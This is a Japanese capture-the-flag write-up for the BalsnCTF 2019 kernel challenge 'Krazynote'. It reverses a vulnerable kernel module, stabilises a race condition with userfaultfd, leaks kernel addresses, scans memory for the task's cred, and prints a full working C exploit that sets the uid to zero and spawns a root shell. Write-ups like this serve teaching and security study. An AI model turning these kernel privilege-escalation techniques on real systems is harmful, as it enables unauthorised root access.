イントロ Link to this heading

いつぞや行われたBalsnCTF 2019の pwn 問題Krazynote。 race condition / PTE の書き換え / brute-force 等様々な要素が関わってきて面白かった。

準備 Link to this heading

配布物 Link to this heading

  • run.sh: QEMU のスタートアップスクリプト. SMEP/SMAP 有効. threads=4
  • initramfs.cpio.gz: initramfs. 特筆すべきことは無し
  • note.ko: LKM. ソースコードは無し
  • bzImage: カーネルイメージ. バージョン情報等は以下の通り:
info.sh
1Linux (none) 5.1.9 #1 SMP Fri Jun 14 17:32:01 CST 2019 x86_64 GNU/Linux
2filename:       /home/wataru/Documents/ctf/balsn2019/krazynote/work/./note.ko
3description:    Secret Note
4license:        GPL
5srcversion:     3D2D944721745235FC446C4
6depends:
7retpoline:      Y
8name:           note
9vermagic:       5.1.9 SMP mod_unload

その他 Link to this heading

LKM のソースが配布されている場合には、自前ビルドしたカーネルツリー下でモジュールをビルドしてやるとかなりデバッグがしやすくなるのだが、 今回はソースが添付されていなかったため配布された素のイメージを使うことにした。 環境や exploit 本体などは以下のリポジトリに置いてある:

問題概要ととっかかりの Bug Link to this heading

配布された LKM は/dev/noteという名でmiscdeviceを登録する:

この時、fopsには以下のようにopenunlocked_ioctlしか登録されていない:

openは特筆すべき内容がなく、実際はunlocked_ioctlのみに注目すれば良い。 Ghidra でデコンパイルすると結構気持ち悪いコードが生成されたが、気合で補完したコードが以下である:

reversed.c
  1#define CREATE 0xffffff00
  2#define EDIT   0xffffff01
  3#define READ   0xffffff02
  4#define ALLDEL 0xffffff03
  5
  6struct information{
  7  unsigned long idx;      // index of note
  8  unsigned char size;     // size of note
  9  char *buf;              // userland buffer to/from which note content is written/read
 10};
 11
 12struct note{
 13  unsigned long secret;
 14  unsigned long size;
 15  char *content_ptr;      // maybe pointing to content below, though a little bit aligned?
 16  char content[];
 17};
 18
 19struct note **notes;                  // array of note @ 0x102b60
 20static char *main_buf_ptr = 0x100b60; // @ 0x100b40
 21
 22long* unlocked_ioctl(struct file *file, unsigned int cmd, unsigned long arg)
 23{
 24  struct information info;
 25  char buffer[0x100];
 26  int tmp;
 27  char *tmp_ptr;
 28  unsigned long secret;
 29  struct note *target_note;
 30
 31  info.idx = 0;
 32  info.size = 0;
 33  info.buf = NULL;
 34  memset(buffer, 0x00, 0x100);
 35
 36  if(_copy_from_user(&info, (void*)arg, 0x18) == 0){
 37    info.size = info.size & 0xff;
 38    info.idx = info.idx & 0xf;
 39
 40    switch(cmd){
 41      case CREATE:    // create new note
 42        info.idx = -1;
 43        for(int ix=0; ix!=0x10; ++ix){
 44          if(notes[ix] != NULL)  // when find empty note entry
 45            continue;
 46
 47          // copy requested note information from user
 48          notes[ix] = main_buf_ptr;
 49          notes[ix]->size = info.size;
 50          notes[ix]->secret = *(unsigned long*)(*(long*)(*(long*)(&current_task + in_GS_OFFSET) + 0x7e8) + 0x50);
 51
 52          if(info.size > 0x100){
 53            _warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x100, info.size);
 54            do{ invalidInstructionException(); }while(true);
 55          }
 56
 57          // copy note content from userland
 58          __check_object_size(buffer, 0, info.size);
 59          _copy_from_user(buffer, info.buf, info.size);
 60
 61          // encrypt copied note content
 62          if(info.size != 0){
 63            tmp = 0;
 64            secret = notes[ix]->secret;
 65            do{
 66              *(unsigned long*)(buffer + tmp) = *(unsigned long*)(buffer + tmp) ^ secret;
 67              tmp += 8;
 68            }while(tmp < info.size);
 69          }
 70          memcpy(main_buf_ptr + 0x18, buffer);
 71          notes[ix]->content_ptr = main_buf_ptr + 0x18 - page_offset_base; // ???
 72
 73          // set pointer forward
 74          main_buf_ptr = main_buf_ptr + 0x18 + notes[ix]->size;
 75        }
 76        break;
 77
 78      case READ:
 79        target_note = notes[info.idx];
 80        if(target_note != NULL){
 81          tmp_ptr = target_note->content_ptr + page_offset_base;
 82          if(target_note->size != 0){
 83            memcpy(buffer, tmp_ptr, target_note->size);
 84            for(int ix=0; ix!=target_note->size; ){
 85              *(unsigned long*)(buffer + ix) = *(unsigned long*)(buffer + ix) ^  target_note->secret;
 86              ix += 8;
 87            }
 88            __check_object_size(buffer, target_note->size, 1);
 89            _copy_to_user(info.buf, buffer, target_note->size);
 90          }
 91          return 0;
 92        }else
 93          return 0;
 94        break;
 95
 96      case ALLDEL:
 97        for(int ix=0; ix!=8; ++ix)
 98          notes[ix] = NULL;
 99        main_buf_ptr = 0x100b60;
100        for(int ix=0; ix!=0x400; ++ix)
101          *(unsigned long*)(main_buf_ptr + ix*8) = 0x0;
102        break;
103
104    case EDIT:
105      /* ommitted cuz almost same as create */
106      break;
107
108      default:
109        return  0xffffffffffffffe7;
110    }
111
112  }else{
113    return 0xfffffffffffffff2;
114  }
115}

ioctlcmdで指定された値に応じてnoteを作成/消去/編集/読み込みする。 この際使用されるバッファはモジュールの.bss領域に存在し、 その先頭から順次使用していくという形式になっている。 また、ノートに書き込む/ノートから読み取った値を userland とやりとりするために_copy_to_user()_copy_from_user()を用いている。 ユーザはノートに書き込む値の他にも、ノートのサイズやインデックスを指定することができる。

特筆すべき点は、ノートに保存する値をpage_offset_baseという値で XOR にかけ疑似暗号化していること。 このpage_offset_baseは上に示したコードの通りstruct task_struct中のいずれかのメンバを参照した先の値なのだが、task_structは kernel のビルドオプションによってかなりメンバが変わるため、 page_offset_baseがどのメンバに相当するのかを調べるのは難しい。 詳しくは後述するが、それなりのデバッグと多少のメタ読みとカンニングの結果、 この値はtask_struct.mm -> (struct mm_struct*)mm-> (pgd_t*)pgdであることが分かった。 最初のページディレクトリテーブルのアドレスである。

また、ノート構造体のcontent_ptrには実際にノートの内容が書いてあるアドレスではなく、 そのアドレスに先程のpage_offset_baseを減算したアドレスが格納されていることも重要である。

さて、とっかかりの脆弱性は race condition である。

そもそもにcompat_ioctlではなくunlocked_ioctlが使われているため、_copy_from_user()等の処理中にもロックが取られない。 そのため、_copy_from_user()で使用するメモリ領域を途中で書き換えることができる。 これを実現するためには、以下の順でioctlを呼ぶ:

explain.txt
1CREATE: idx=0 size=0xf0
2EDIT:   idx=0
3  |
4  |                       ALLDELETE
5  |                       CREATE: idx=0 size=0x10
6  |                       CREATE: idx=1 size=0x10
7  o
8(fin EDIT)

まず大きいサイズ(許容される最大サイズは0xFF)でノートをCREATEし、 引き続きそれをEDITするのだが、 それと同時に別スレッドにおいてALLDELETEを実行して全てのノートを削除し、 引き続きCREATEで新しいノートを 2 つ作る。 この別スレッドの作業はEDITが完了するまでに行う必要がある。 一般に_copy_from_user()は重い処理であるから、 何万回かトライすればこのような race condition が成立する。

これが成立するとノートバッファは以下の図のようになる:

EDITの最中に他スレッドによってノートが初期化され新たにサイズの小さい 2 つのノートがCREATEされたにも関わらず、 EDITは古い情報をもとに_copy_from_userを既に実行してしまっているため、 本来書き換えてはいけないnote1sizesecretを書き換えていることが分かる。

この状態でnote1から値をREADすることを考える。 READの際にはsecretと XOR することでもとの値に復号してから_copy_to_userを行うのだが、 今secret1には overwrite させた分の0 ^ secretが入っている。 よって、note1からデータ領域にある0(図中メモリ領域した半分の空白部分)を読もうとして復号処理を行うと、 0 ^ secret ^ 0をユーザに渡すことになり、これによってsecretの値をリークすることができる。

secretの値が入手できたことと、note1が実際よりも大きいsizeの情報を保持しているということから 既に殆ど AAW/AAR であるが、詳しくは後述する。

userfaultfd によって race condition を安定させる Link to this heading

上述した race condition は数万回トライすれば恐らく 1 回は成功する気がする。 だが、以下では race condition を更に安定化させる方法を考える。

userfaultfdシステムコールによって userland におけるページフォルトをハンドリングすることができる。 基本的な使い方についてはman userfaultfdを参照のこと。 尚、libc にこのシステムコールの wrapper はないため直接syscall()を使うしかない。

このuserfaultfdによってmmap()したページをcopy_from_userで kernelland に渡すことで、 kernel 側が該当ページにアクセス(EDIT)した瞬間に kernel の処理を止めて userland に処理を移すことが可能になる。

lazy loading が有効な場合には、mmapした瞬間にはそのページに対して物理メモリはマッピングされず、 該当ページへのアクセスが発生た瞬間初めてページフォルトを発生させて物理メモリを割当・スワップインさせることになる。 よって、mmap()だけしてアクセスされていない領域を EDIT のデータ元として渡してやることで EDIT内の_copy_from_user()の開始直後にページフォルトが発生しユーザランドに処理を戻すことができる。 ここで呼び出されるハンドラ内で、上述したALLDELETE+CREATE+CREATEの処理を行い、 その後で処理を再び戻してやれば、先程の race condition は 100%の確立で成功することになる。

以下が、userfaultfdの登録及びフォルトをハンドリングする関数である。 尚、いずれもuserfaultfdの man ページを参照している:

uffd.c
 1// cf. man page of userfaultfd
 2static void* fault_handler_thread(void *arg)
 3{
 4  puts("[+] entered fault_handler_thread");
 5
 6  static struct uffd_msg msg;   // data read from userfaultfd
 7  struct uffdio_copy uffdio_copy;
 8  long uffd = (long)arg;        // userfaultfd file descriptor
 9  struct pollfd pollfd;         //
10  int nready;                   // number of polled events
11
12  // set poll information
13  pollfd.fd = uffd;
14  pollfd.events = POLLIN;
15
16  // wait for poll
17  puts("[+] polling...");
18  while(poll(&pollfd, 1, -1) > 0){
19    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
20      errExit("poll");
21
22    // read an event
23    if(read(uffd, &msg, sizeof(msg)) == 0)
24      errExit("read");
25
26    if(msg.event != UFFD_EVENT_PAGEFAULT)
27      errExit("unexpected pagefault");
28
29    printf("[!] page fault: %p\n",msg.arg.pagefault.address);
30
31    // Now, another thread is halting. Do my business.
32    puts("[+] now alldel + create*2");
33    _alldel();                    // delete all notes
34    _create(buf,0x10);            // create note idx:0
35    _create(buf,0x10);            // creat enote idx:1
36
37
38    // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
39    uffdio_copy.src = buf;
40    uffdio_copy.dst = addr;
41    uffdio_copy.len = len;
42    uffdio_copy.mode = 0;
43    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
44      errExit("ioctl-UFFDIO_COPY");
45
46    break;
47  }
48
49  puts("[+] exiting fault_handler_thrd");
50}
51
52// cf. man page of userfaultfd
53void register_userfaultfd_and_halt(void)
54{
55  puts("[+] registering userfaultfd...");
56
57  long uffd;      // userfaultfd file descriptor
58  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
59  struct uffdio_api uffdio_api;
60  struct uffdio_register uffdio_register;
61  int s;
62
63  // create userfaultfd file descriptor
64  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
65  if(uffd == -1)
66    errExit("userfaultfd");
67
68  // enable uffd object via ioctl(UFFDIO_API)
69  uffdio_api.api = UFFD_API;
70  uffdio_api.features = 0;
71  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
72    errExit("ioctl-UFFDIO_API");
73
74  // mmap
75  puts("[+] mmapping...");
76  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
77  puts("[+] mmapped...");
78  if(addr == MAP_FAILED)
79    errExit("mmap");
80
81  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
82  uffdio_register.range.start = addr;
83  uffdio_register.range.len = len;
84  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
85  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
86    errExit("ioctl-UFFDIO_REGISTER");
87
88  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
89  if(s!=0){
90    errno = s;
91    errExit("pthread_create");
92  }
93
94  puts("[+] registered userfaultfd");
95}

page_offset_base/ modulebase の leak Link to this heading

secretを入手できたため、note1READすることでnote2content_ptrを leak することができる。 (note1size0xFF ^ secretという巨大な値になっているためnote2のメタ情報まで READ することができる)。 secretcontent_ptrがあれば、やはりnote1を利用することでnote2content_ptrを上書きし、 好きなアドレスの値を読み書きすることができる。

但し、本当に任意のアドレスの AAW/AAR を達成するためには、 目的のアドレスに対して減算するべきpage_offset_baseの値を leak する必要があるのだが、 今現在この値はわかっていない。 しかしその状態でも、先ほど leak したcontent_ptrには既にpage_offset_tableの値が減算されているという事実を用いて、 .bssセクション内での相対的 AAW/AAR ならば可能である。

よって、まずはnote2がノートアドレスの配列であるnotes_arrayを指すように上書きし、 これによってノートが作られるバッファのアドレスを leak する。 すると、content_ptrpage_offset_baseを減算する前の値が手に入る。 この 2 つの値を用いてpage_offset_baseの値を計算することができる。

また、.bssセクションのアドレスが分かったことになるため、modulebase も leak できたことになる。

leak modulebase

leak modulebase

kernbase の leak Link to this heading

ここまでで secret / page_offset_base / modulebaseの 3 つが leak できているため、 真の意味で AAW/AAR になっている。 だが kernbase が分かっていないため、まずはコレを求める必要がある。

モジュール内に含まれる kernel symbol 関連の情報と言えば、 copy_from_user/copy_to_user等の関数の呼び出しである。 モジュールのビルド時には当然これらのアドレスがわからないから、 モジュールのインストール時に該当call命令を上書きし、 RIP を用いた相対アドレスによって kernel 関数のアドレスを解決している。 例えばモジュール内のcopy_to_userを呼び出す命令は以下のようになっていた:

これの上位 4byte が相対アドレスであり、RIP + 0xF1620D0Fで実際のcopy_to_userのアドレスが計算できる。 (相対アドレッシングに用いる RIP の値は、この命令ではなく、この 1 個次の命令のアドレスであることに注意。 5を加える必要がある)

modulebase がわかっており AAR であるから、この命令を leak することで kernel の.text base を leak することができる。

PTE の権限 bit を書き換える Link to this heading

最初の方で言及したように、page_offset_baseはページディレクトリのアドレスを表していた。 AAW が存在する今、このページディレクトリを辿っていって目的ページの PTE を探し出し、 permission を変更してしまうことで RWX 領域を作ることができる。 そうなってしまえば後は kernelland に shellcode を仕込むことで、SMEP/SMAP に触れることなく目的を達成できる。 尚、ページディレクトリは多重になっている。 詳しくは(?)以下のページを参考のこと。

だが、今回は違う方法を使ってみることにした。

prctl によって特定の領域をマーキングして総当りする Link to this heading

kernel pwn の定石といえば、struct task_struct currentstruct cred __rcu *cred内のメンバを書き換えて UID==0 にすることである。 現状この手法を使うにあたって難しいのは、現在のタスクのcredのアドレスがわからないということである。 逆に言えばこのアドレスさえ leak できれば AAW があるため終了である。

struct task_struct内のcred周辺を見ると、char comm[TASK_COMM_LEN]というメンバが見つかる。 これは、実行ファイル名が格納される配列(ポインタではなく!!!)であり、例えばカーネルのパニック時に以下のようなメッセージ上で出力されたりする:

このcommioctl (PR_SET_NAME)によってユーザが任意のタイミングで任意の文字列に変更することができる。 AAR であるから、この文字列を marker としてメモリ状を全探索することでtask_struct中のcommのアドレスを探し出すことができる。

また、デバッグオプションによって構造体内のオフセットが変動すると先に述べたが、commcredは隣り合っているメンバである。 よっぽどのことがない限り、comm - 8 = credになると考えられる。 (知らんけど)

ということで、愚直に全探索すると 30 秒程でcredの値が leak できる:

root へ Link to this heading

credのアドレスがわかっており、且つ AAW であるため、もうやることは一つ。

exploit Link to this heading

exploit.c
  1#define _GNU_SOURCE
  2#include<sys/types.h>
  3#include<stdio.h>
  4#include<linux/userfaultfd.h>
  5#include<pthread.h>
  6#include<errno.h>
  7#include<stdlib.h>
  8#include<fcntl.h>
  9#include<signal.h>
 10#include<string.h>
 11#include<sys/mman.h>
 12#include<sys/syscall.h>
 13#include<poll.h>
 14#include<unistd.h>
 15#include<string.h>
 16#include<sys/ioctl.h>
 17#include<sys/prctl.h>
 18#define ulong unsigned long
 19#define errExit(msg) do { perror(msg); exit(EXIT_FAILURE); \
 20                        } while (0)
 21ulong user_cs,user_ss,user_sp,user_rflags;
 22int fd;                     // file descriptor of /dev/note
 23void pop_shell(void)
 24{
 25  char *argv[] = {"/bin/sh",NULL};
 26  char *envp[] = {NULL};
 27  execve("/bin/sh",argv,envp);
 28}
 29static void save_state(void) {
 30  asm(
 31      "movq %%cs, %0\n"
 32      "movq %%ss, %1\n"
 33      "movq %%rsp, %2\n"
 34      "pushfq\n"
 35      "popq %3\n"
 36      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
 37}
 38#define CREATE 0xffffff00
 39#define EDIT   0xffffff01
 40#define READ   0xffffff02
 41#define ALLDEL 0xffffff03
 42struct info{
 43  unsigned long idx;
 44  unsigned long size;
 45  char *buf;
 46};
 47int _create(char *buf, unsigned long size)
 48{
 49  struct info info;
 50  info.buf = buf;
 51  info.size = size;
 52  info.idx = 0;
 53  if(ioctl(fd,CREATE,&info) < 0)
 54    errExit("_create");
 55  puts("[+] created new note");
 56}
 57int _alldel(void)
 58{
 59  struct info info;
 60  info.buf = NULL;
 61  info.size = 0;
 62  info.idx = 0;
 63  if(ioctl(fd,ALLDEL,&info) < 0)
 64    errExit("_delall");
 65  puts("[+] all deleted");
 66}
 67int _read(unsigned long idx,char *buf)
 68{
 69  struct info info;
 70  info.buf = buf;
 71  info.size = 0;
 72  info.idx = idx;
 73  if(ioctl(fd,READ,&info) < 0)
 74    errExit("_read");
 75  //printf("[+] read note: %d\n",idx);
 76}
 77int _edit(unsigned long idx, char *buf)
 78{
 79  struct info info;
 80  info.buf = buf;
 81  info.size = 0;
 82  info.idx = idx;
 83  if(ioctl(fd,EDIT,&info) < 0)
 84    errExit("_edit");
 85  //printf("[+] edited: %d\n",idx);
 86}
 87char *addr = 0x117117000;    // memory region supervisored
 88char buf[0x3000];            // userland buffer
 89unsigned long len = 0x1000;  // memory length
 90// cf. man page of userfaultfd
 91static void* fault_handler_thread(void *arg)
 92{
 93  puts("[+] entered fault_handler_thread");
 94  static struct uffd_msg msg;   // data read from userfaultfd
 95  struct uffdio_copy uffdio_copy;
 96  long uffd = (long)arg;        // userfaultfd file descriptor
 97  struct pollfd pollfd;         //
 98  int nready;                   // number of polled events
 99  // set poll information
100  pollfd.fd = uffd;
101  pollfd.events = POLLIN;
102  // wait for poll
103  puts("[+] polling...");
104  while(poll(&pollfd, 1, -1) > 0){
105    if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)
106      errExit("poll");
107    // read an event
108    if(read(uffd, &msg, sizeof(msg)) == 0)
109      errExit("read");
110    if(msg.event != UFFD_EVENT_PAGEFAULT)
111      errExit("unexpected pagefault");
112    printf("[!] page fault: %p\n",msg.arg.pagefault.address);
113    // Now, another thread is halting. Do my business.
114    puts("[+] now alldel + create*2");
115    _alldel();                    // delete all notes
116    _create(buf,0x10);            // create note idx:0
117    _create(buf,0x10);            // creat enote idx:1
118    // forge user buffer passed into copy_from_user(), which doesn't take a lock cuz called in unlock_ioctl
119    uffdio_copy.src = buf;
120    uffdio_copy.dst = addr;
121    uffdio_copy.len = len;
122    uffdio_copy.mode = 0;
123    if(ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
124      errExit("ioctl-UFFDIO_COPY");
125    break;
126  }
127  puts("[+] exiting fault_handler_thrd");
128}
129// cf. man page of userfaultfd
130void register_userfaultfd_and_halt(void)
131{
132  puts("[+] registering userfaultfd...");
133  long uffd;      // userfaultfd file descriptor
134  pthread_t thr;  // ID of thread that handles page fault and continue exploit in another kernel thread
135  struct uffdio_api uffdio_api;
136  struct uffdio_register uffdio_register;
137  int s;
138  // create userfaultfd file descriptor
139  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libc
140  if(uffd == -1)
141    errExit("userfaultfd");
142  // enable uffd object via ioctl(UFFDIO_API)
143  uffdio_api.api = UFFD_API;
144  uffdio_api.features = 0;
145  if(ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)
146    errExit("ioctl-UFFDIO_API");
147  // mmap
148  puts("[+] mmapping...");
149  addr = mmap(addr, len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.
150  puts("[+] mmapped...");
151  if(addr == MAP_FAILED)
152    errExit("mmap");
153  // specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)
154  uffdio_register.range.start = addr;
155  uffdio_register.range.len = len;
156  uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
157  if(ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
158    errExit("ioctl-UFFDIO_REGISTER");
159  s = pthread_create(&thr, NULL, fault_handler_thread, (void*)uffd);
160  if(s!=0){
161    errno = s;
162    errExit("pthread_create");
163  }
164  puts("[+] registered userfaultfd");
165}
166int main(void)
167{
168  unsigned long secret;
169  unsigned long content_ptr;
170  unsigned long modulebase;
171  unsigned long dif_main_buf, dif_notes_array;
172  unsigned long page_offset_base;
173  unsigned long rip_call_copy_to_user;
174  unsigned long addr_copy_to_user;
175  signed long rel_jmp_offset;
176  unsigned long kern_textbase;
177  void *tmp_addr;
178  unsigned char *addr_cred;
179  unsigned long addr_cred_in_task_struct;
180  char tmp_buf[0x100];
181  unsigned long diff_copy_to_user = 0x353ee0;
182  memset(buf, 0x00, sizeof(buf));
183  // open miscdevice
184  //if((fd=open("/dev/note",O_RDWR))<0) // O_RDWR would be rejected due to permission error
185  if((fd=open("/dev/note",O_RDONLY))<0)
186    errExit("open-/dev/note");
187  // leak secret
188  buf[0x10+0x8] = 0xff;     // overwrite note1's size, which is allocated later
189  _create(buf, 0x19);
190  register_userfaultfd_and_halt();
191  sleep(1);
192  _edit(0, addr);           // invoke page fault and call fault_handler
193  _read(1, buf);
194  printf("[+] buf addr: %p\n",buf);
195  printf("[!] head of leaked data:\n");
196  for(int ix=0; ix!=0x8; ++ix){
197    printf("\t%llx\n", ((unsigned long*)buf)[ix]);
198  }
199  secret = (void*)((unsigned long*)buf)[0x2];
200  printf("[!] secret: %p\n", secret);
201  // leak content_ptr
202  memset(buf, 0x00, sizeof(buf));
203  _create(buf, 0x10);       // idx:2
204  _read(1, buf);
205  printf("[!] leaked data decrypted with secret: %llx:\n",secret);
206  for(int ix=0;ix!=0x10; ++ix){
207    printf("\t%llx\n", ((unsigned long*)buf)[ix] ^ secret);
208  }
209  content_ptr = ((unsigned long*)buf)[4] ^ secret;
210  printf("[!] content_ptr of note2: %p\n",(void*)content_ptr);
211  dif_main_buf = content_ptr - 0x68;    // main_buf - page_offset_base
212  dif_notes_array = dif_main_buf + (0x102b60 - 0x100b60); // notes_array - page_offset_base
213  printf("[!] dif_notes_array: %p\n",(void*)dif_notes_array);
214  // leak modulebase & page_offset_base
215  ((unsigned long*)buf)[0] = 0;   // content of note1
216  ((unsigned long*)buf)[1] = 0;   // content of note1
217  ((unsigned long*)buf)[2] = 0;   // secret of note2
218  ((unsigned long*)buf)[3] = 8;   // size of note2
219  ((unsigned long*)buf)[4] = dif_notes_array;   // content_ptr of note2
220  for(int ix=0; ix!=5; ++ix){     // encrypt
221    ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret;
222  }
223  _edit(1, buf);                  // overwrite note2's content_ptr into notes_array
224  _read(2, buf);                  // read &note0
225  printf("[!] leaked data decrypted with secret: 0x00:\n");
226  for(int ix=0;ix!=0x8; ++ix){
227    printf("\t%llx\n", ((unsigned long*)buf)[ix]); // notes are no more encrypted
228  }
229  modulebase = (((unsigned long*)buf)[0]) - 0x2520;
230  page_offset_base = (((unsigned long*)buf)[0]) + 0x68 - content_ptr;
231  printf("[!] modulebase: %p\n",(void*)modulebase);
232  printf("[!] page_offset_base: %p\n",(void*)page_offset_base);
233  /* now we have AAW/AAR, not limited to relative one */
234  // read instruction
235  rip_call_copy_to_user = modulebase + 0x1cc;
236  ((unsigned long*)buf)[0] = 0;   // content of note1
237  ((unsigned long*)buf)[1] = 0;   // content of note1
238  ((unsigned long*)buf)[2] = 0;   // secret of note2
239  ((unsigned long*)buf)[3] = 8;   // size of note2
240  ((unsigned long*)buf)[4] = rip_call_copy_to_user - page_offset_base;  // content_ptr of note2
241  for(int ix=0; ix!=5; ++ix){     // encrypt
242    ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret;
243  }
244  _edit(1, buf);                  // overwrite note2's content_ptr into notes_array
245  _read(2, buf);                  // read instruction
246  printf("[!] instruction call copy_to_user():\n\t");
247  for(int ix=0; ix!=5; ++ix){
248    printf("%02x ", *(unsigned char*)(buf + ix));
249  }
250  printf("\n");
251  // calc addr of call_to_user and kern_textbase
252  addr_copy_to_user = rip_call_copy_to_user;
253  rel_jmp_offset = 0;
254  for(int ix=0; ix!=4; ++ix){
255    //addr_copy_to_user += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix + 32);
256    rel_jmp_offset += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix);
257  }
258  addr_copy_to_user = (signed int)rel_jmp_offset + addr_copy_to_user + 5; // relational jmp uses RIP for "next" instruction's addr, so add len(call copy_to_user)
259  printf("[!] copy_to_user: %p\n",(void*)addr_copy_to_user);
260  kern_textbase = addr_copy_to_user - diff_copy_to_user;
261  printf("[!] kern_textbase: %p\n",(void*)kern_textbase);
262  /* task_struct はデバイスオプションによって中身がかなり変わるため、+0x7e8がどのメンバが突き止めるのはムリ */
263  /* struct task_struct 中の char comm[0x10] という、executable nameを格納するメンバがある
264  prctl(PR_SET_NAME) によってこの current->comm を変更することができる */
265  if(prctl(PR_SET_NAME, "FuckThisSummer") == -1) // change current->comm into "FuckThisSummer"
266    errExit("prctl");
267  for(unsigned long ix=0; 1==1; ix+=0x50){
268    tmp_addr = page_offset_base + ix;     // target of search
269    if(ix%0x100000*2==0)
270      printf("[.] searching %llx ...\n", tmp_addr);
271    memset(buf, 0x00, 0x100);
272    ((unsigned long*)buf)[0] = 0;   // content of note1
273    ((unsigned long*)buf)[1] = 0;   // content of note1
274    ((unsigned long*)buf)[2] = 0;   // secret of note2
275    ((unsigned long*)buf)[3] = 0xff;   // size of note2
276    ((unsigned long*)buf)[4] = tmp_addr - page_offset_base;  // content_ptr of note2
277    for(int ix=0; ix!=5; ++ix){     // encrypt
278      ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret;
279    }
280    _edit(1, buf);
281    _read(2, buf);
282    tmp_addr = memmem(buf, 0x100, "FuckThisSummer", sizeof("FuckThisSummer"));
283    if(tmp_addr != NULL){
284      addr_cred = *(unsigned long*)((unsigned long)tmp_addr - 8);
285      tmp_addr = page_offset_base + ix + (buf - (unsigned long)tmp_addr);
286      printf("\n[!!] FOUND current_task.comm: %p\n",(void*)tmp_addr);
287      printf("\n[!!] FOUND cred: %p\n",(void*)addr_cred);
288      break;
289    }
290  }
291  // いくらデバッグオプションでメンバが違うと言っても、credとcommは隣り合っているから大丈夫
292  // leak cred
293  // overwrite content_ptr of note2 into cred
294  memset(tmp_buf, 0x00, 0x100);
295  ((unsigned long*)tmp_buf)[0] = 0;   // content of note1
296  ((unsigned long*)tmp_buf)[1] = 0;   // content of note1
297  ((unsigned long*)tmp_buf)[2] = 0;   // secret of note2
298  ((unsigned long*)tmp_buf)[3] = 0x20;   // size of note2
299  ((unsigned long*)tmp_buf)[4] = addr_cred + 4 - page_offset_base;  // +4 is to avoid atomic_t usage
300  for(int ix=0; ix!=5; ++ix){     // encrypt
301    ((unsigned long*)tmp_buf)[ix] = ((unsigned long*)tmp_buf)[ix] ^ secret;
302  }
303  _edit(1, tmp_buf);
304  // Overwrite current->cred->uid into zero
305  puts("[+] overwrite current->uid");
306  memset(buf, 0x00, 0x100);
307  _edit(2, buf);
308  // pop shell and happy birthday!
309  puts("[!!!] popping shell...\n");
310  pop_shell();
311  return 0;
312}

アウトロ Link to this heading

参考 Link to this heading